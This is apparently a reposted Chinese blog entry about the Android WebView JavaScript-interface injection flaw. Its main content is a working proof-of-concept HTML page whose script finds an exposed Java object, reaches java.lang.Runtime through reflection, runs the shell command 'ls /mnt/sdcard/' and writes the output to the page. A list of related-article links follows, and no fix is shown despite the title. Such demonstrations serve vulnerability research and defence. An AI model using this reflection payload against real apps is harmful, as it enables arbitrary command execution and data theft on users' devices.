Android WebView的Js对象注入漏洞解决方案
2023-09-11 14:18:04 时间
http://blog.csdn.net/leehong2005/article/details/11808557/
webview调用以下文件,就可以打印sdcard 文件名
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 2 <html xmlns="http://www.w3.org/1999/xhtml"> 3 <head> 4 <title> new document </title> 5 <script > 6 var i=0; 7 function getContents(inputStream) { 8 var contents = ""+i; 9 var b = inputStream.read(); 10 var i = 1; 11 while(b != -1) { 12 var bString = String.fromCharCode(b); 13 contents += bString; 14 contents += "\n" 15 b = inputStream.read(); 16 } 17 i=i+1; 18 return contents; 19 } 20 21 function execute(cmdArgs){ 22 for (var obj in window) { 23 console.log(obj); 24 if(window[obj]!=null) 25 if ("getClass" in window[obj]) { 26 console.log("come to here"); 27 //alert(obj);. 28 return window[obj].getClass().forName("java.lang.Runtime"). 29 getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 30 } 31 } 32 } 33 var p = execute(["ls","/mnt/sdcard/"]); 34 console.log("come to here 2"); 35 36 document.write(getContents(p.getInputStream())); 37 </script> 38 <meta name="generator" content="editplus" /> 39 <meta name="author" content="" /> 40 <meta name="keywords" content="" /> 41 <meta name="description" content="" /> 42 </head> 43 44 <body> 45 46 </body> 47 </html>
相关文章
- js_html_input中autocomplete="off"在chrom中失效的解决办法 使用JS模拟锚点跳转 js如何获取url参数 C#模拟httpwebrequest请求_向服务器模拟cookie发送 实习期学到的技术(一) LinqPad的变量比较功能 ASP.NET EF 使用LinqPad 快速学习Linq
- Android 异常 android.os.NetworkOnMainThreadException
- Android studio 2.0--android增量更新的那些事
- Android USB转串口开发(hoho.android.usbserial串口库)
- Android Studio软件技术基础 —Android项目描述---1-类的概念-android studio 组件属性-+标志-Android Studio 连接真机不识别其他途径
- 【HarmonyOS】【JS】【布局】鸿蒙js开发input 输入框弹出输入法时上方布局被挤扁?
- Android图像滤镜框架GPUImage从配置到应用
- Android 回退键监听
- 玩转Android之加速度传感器的使用,模仿微信摇一摇
- android bitmap的 一些简单操作
- android编译系统的makefile文件Android.mk写法如下
- Android开发之旅:android架构
- android在广播接收器BroadcastReceiver里面再进行发送广播,造成当前广播接收器不断循环执行问题
- Android 高级进阶 apk打包流程
- JS: javascript 点击事件执行两次js问题 ,解决jquery绑定click事件出现点击一次执行两次问题
- JavaScript_JS判断客户端是否是iOS或者Android
- Android原生webview中js交互
- 【HarmonyOS】【JS】 鸿蒙js开发使用div自带的scroll,滑动条拉不到最下面?
- Android实战简易教程-第二十五枪(基于Baas的数据表查询下拉刷新和上拉载入实现!)
- 【从零之六&完结】android口语对话系统(RavenClaw java版 含所有源代码)
- [Android] android:visibility属性应用
- android_我的第一个Android程序
- JQuery/JS插件 json2.js